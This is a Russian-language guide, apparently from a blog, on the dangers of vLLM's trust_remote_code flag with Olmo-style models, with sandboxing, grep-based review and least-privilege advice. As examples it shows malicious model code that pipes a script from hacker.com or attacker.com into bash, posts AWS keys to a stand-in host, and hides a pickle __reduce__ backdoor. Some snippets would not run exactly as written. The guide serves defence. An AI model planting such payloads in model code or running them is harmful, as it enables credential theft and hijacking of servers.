Trust_remote_code vLLM: опасность arbitrary code execution на примере Olmo | AiManual
AiManual Logo Ai / Manual.
29 Янв 2026 Гайд

Trust_remote_code в vLLM: как один флаг превращает вашу GPU в майнер для хакеров

Разбираем trust_remote_code в vLLM — почему этот флаг опасен, как работает arbitrary code execution и как защититься при загрузке моделей с Hugging Face.

Самый опасный флаг в вашем vLLM: trust_remote_code=True

Вы запускаете модель с Hugging Face через vLLM, получаете ошибку, гуглите решение. Первый результат говорит: "Добавьте trust_remote_code=True". Вы добавляете — работает! Поздравляю, вы только что отдали хакерам ключи от своего сервера.

На 29 января 2026 года ситуация с trust_remote_code в vLLM версии 0.4.5 остаётся критической. Флаг по-прежнему позволяет выполнение произвольного кода, и большинство разработчиков не понимают, на что соглашаются.

Что на самом деле делает trust_remote_code?

Когда vLLM загружает модель с Hugging Face, ему нужно понять её архитектуру. Обычно всё описано в конфигурационных файлах — безопасно, предсказуемо. Но некоторые модели (особенно экспериментальные вроде Olmo или Bolmo) используют кастомные слои, активации, архитектурные хитрости.

Эти модели хранят код своей архитектуры прямо в репозитории. И когда вы ставите trust_remote_code=True, vLLM говорит: "Окей, я скачаю этот Python-код с интернета и выполню его на своей машине".

# Вот что происходит внутри vLLM
from transformers import AutoConfig

# БЕЗ trust_remote_code — безопасно
config = AutoConfig.from_pretrained("allenai/olmo-7b")
# С trust_remote_code — русская рулетка
config = AutoConfig.from_pretrained(
    "allenai/olmo-7b",
    trust_remote_code=True  # ⚠️ ОПАСНО!
)

Кажется безобидным? Давайте представим, что вместо архитектуры модели в репозитории лежит этот код:

# Модель выглядит нормально...
class CustomAttention(nn.Module):
    def __init__(self, dim):
        super().__init__()
        self.dim = dim
        
    def forward(self, x):
        return x

# А где-то в импортах...
import os
import subprocess

# Скачиваем и запускаем майнер
subprocess.run(["curl", "https://hacker.com/miner.sh", "|", "bash"], 
               shell=True, check=False)

# Или крадём ключи AWS
aws_keys = os.environ.get('AWS_ACCESS_KEY_ID')
if aws_keys:
    requests.post("https://hacker.com/steal", data={"keys": aws_keys})

Это не теория. В 2024 году исследователи из Robust Intelligence нашли аналогичную уязвимость в llama.cpp. Разница только в деталях реализации.

Почему Olmo и Bolmo требуют trust_remote_code?

AllenAI создали Olmo (Open Language Model) как полностью открытый проект — код, данные, обучающие скрипты. Их философия: "Если модель использует кастомные компоненты, код этих компонентов должен быть публичным".

Проблема в том, что на 29.01.2026 последние версии Olmo (включая Olmo-2 13B и экспериментальный Bolmo) используют:

  • Кастомные нормализации слоёв
  • Экспериментальные механизмы внимания
  • Специфичные инициализации весов
  • Архитектурные модификации, которых нет в стандартном transformers

Без trust_remote_code vLLM не может загрузить модель — он просто не понимает, как её собрать. Ошибка выглядит так:

RuntimeError: Error(s) in loading state dict for LlamaForCausalLM:
Missing key(s) in state_dict: "model.layers.0.input_layernorm.weight"
Unexpected key(s) in state_dict: "model.layers.0.custom_norm.weight"

И тут разработчик стоит перед выбором: потратить неделю на изучение кода модели и написание кастомного загрузчика... или добавить trust_remote_code=True и пойти пить кофе.

💡
Интересный факт: многие модели, требующие trust_remote_code в 2024-2025 годах, к 2026 уже интегрированы в transformers. Но экспериментальные ветки и новые архитектуры по-прежнему используют этот механизм.

Практический разбор: как хакер может использовать эту дыру

Представьте корпоративную среду. Компания развернула внутренний LLM-сервис на vLLM для генерации кода. Разработчики могут загружать свои дообученные модели.

1 Этап подготовки атаки

Хакер создаёт репозиторий на Hugging Face с "моделью". В конфиге указывает custom_architecture.py, который выглядит как нормальный код модели. Но в одном из импортов:

# custom_attention.py
import sys
import base64
import pickle

# Вроде бы нормальный код внимания
class MaliciousAttention:
    def __init__(self):
        self.is_malicious = True
    
    # А это бэкдор
    def __reduce__(self):
        import os
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

2 Социальная инженерия

Хакер пишет коллеге: "Привет, я дообучил модель для нашего проекта, можешь загрузить её на наш сервер? Вот ссылка: huggingface.co/hacker/malicious-model".

Или ещё хуже — делает форк популярной модели (той же Olmo), добавляет малварь, и предлагает "исправленную версию с лучшей производительностью".

3 Выполнение произвольного кода

Разработчик запускает:

from vllm import LLM

llm = LLM(
    model="hacker/malicious-model",
    trust_remote_code=True,  # Роковая ошибка
    tensor_parallel_size=2
)

В этот момент выполняется код из репозитория. Что он делает? Вариантов масса:

  • Устанавливает persistence-бэкдор в cron
  • Крадёт SSH-ключи с сервера
  • Подключается к внутренней сети (если сервер за firewall)
  • Начинает майнить крипту на ваших дорогих GPU

Самое страшное: если ваш vLLM работает с правами root (а многие так и делают для упрощения), атака получает полный контроль над сервером.

Как безопасно работать с моделями, требующими trust_remote_code

Полный отказ от таких моделей — не вариант. Особенно если вам нужны новейшие архитектуры вроде современных LLM с Tool Calling. Вот рабочий протокол безопасности:

1 Изоляция и анализ

Никогда не запускайте неизвестную модель на основном сервере. Используйте песочницу:

# Создаём изолированное окружение
docker run --rm -it --gpus all \
  --network none \  # Без сети!
  --read-only \     # Только для чтения
  -v /tmp/model:/model \
  python:3.11 bash

Скачайте модель и проверьте ВЕСЬ код вручную:

# Качаем без выполнения
git clone https://huggingface.co/allenai/olmo-7b

# Смотрим, какие .py файлы будут выполняться
find olmo-7b -name "*.py" | xargs cat | less

2 Статический анализ кода

Ищите опасные паттерны:

# Поиск опасных импортов
grep -r "import os\|import subprocess\|import sys\|eval(\|exec(" olmo-7b/

# Поиск сетевых вызовов
grep -r "requests\|urllib\|socket\|http" olmo-7b/

# Поиск работы с файловой системой
grep -r "open(\|write(\|remove(\|shutil" olmo-7b/

Для автоматизации используйте Vigil или другие инструменты безопасности LLM.

3 Локальное зеркалирование

После проверки создайте локальную безопасную копию:

# config.json изменяем:
{
  "architectures": ["OlmoForCausalLM"],
  "auto_map": {
    "AutoConfig": "config.OlmoConfig",
    "AutoModelForCausalLM": "modeling_olmo.OlmoForCausalLM"
  },
  # Меняем на локальные пути
  "custom_architecture": "./local_model_code.py"
}

Теперь можно использовать модель БЕЗ trust_remote_code, указав локальный путь.

4 Мониторинг и ограничение прав

Запускайте vLLM с минимальными правами:

# Создаём отдельного пользователя
sudo useradd -r -s /bin/false vllm-user

# Запускаем от его имени
sudo -u vllm-user \
  python -m vllm.entrypoints.api_server \
  --model ./verified-model \
  --port 8000 \
  --max-model-len 4096

Используйте AppArmor или SELinux для ограничения доступа к сети и файловой системе.

Альтернативы trust_remote_code в 2026 году

Хорошие новости: сообщество осознало проблему. На 29.01.2026 появились альтернативы:

Способ Безопасность Сложность Для каких моделей
Safetensors + конвертация Высокая Средняя Большинство популярных моделей
GGUF формат Очень высокая Низкая Llama, Mistral, их производные
Локальное зеркало (наш метод) Высокая после проверки Высокая Любые модели, включая Olmo/Bolmo
Контейнеризация Высокая Средняя Все модели

Для корпоративных проектов рекомендую подход "локальный ИИ за бетонной стеной" — полная изоляция от внешних источников.

Частые ошибки и как их избежать

Ошибка 1: "У нас же внутренний сервер, нам не нужна безопасность"

Большинство атак происходят изнутри. Недостаток безопасности локальных LLM — одна из главных проблем 2025-2026 годов, о которой подробно рассказывается в гайде по защите локальных LLM.

Ошибка 2: "Я проверю код потом"

trust_remote_code выполняется ДО загрузки весов. К тому моменту, как вы "проверите потом", бэкдор уже установлен. Проверяйте ДО запуска, всегда.

Ошибка 3: "Это же код от AllenAI/Google/Meta, они не будут добавлять малварь"

Официальные репозитории — да, относительно безопасны. Но вы уверены, что скачиваете именно официальную версию? Что репозиторий не взломали? Что в зависимостях нет уязвимостей?

Будущее trust_remote_code: будет ли исправлено?

На момент 29.01.2026 в vLLM и transformers нет полноценной замены trust_remote_code для сложных архитектур. Разработчики обсуждают:

  • Подписывание кода моделей (аналогично Docker Content Trust)
  • Sandboxed execution с белыми списками операций
  • Верифицированные билды моделей с хэшами
  • Интеграцию с автоматическим код-ревью через LLM для проверки безопасности

Но пока эти решения не реализованы, каждый раз, когда вы видите trust_remote_code=True, представляйте себе красную кнопку с надписью "Взорвать сервер".

Особенно осторожным нужно быть при работе с моделями для генерации кода — они часто требуют кастомных архитектур для лучшей производительности, как в случае локальных LLM для программирования.

P.S. Если вы всё-таки решили использовать trust_remote_code, хотя бы запускайте модели через изолированные инструменты вроде Claude Code или аналогичные песочницы. Ваши GPU скажут спасибо.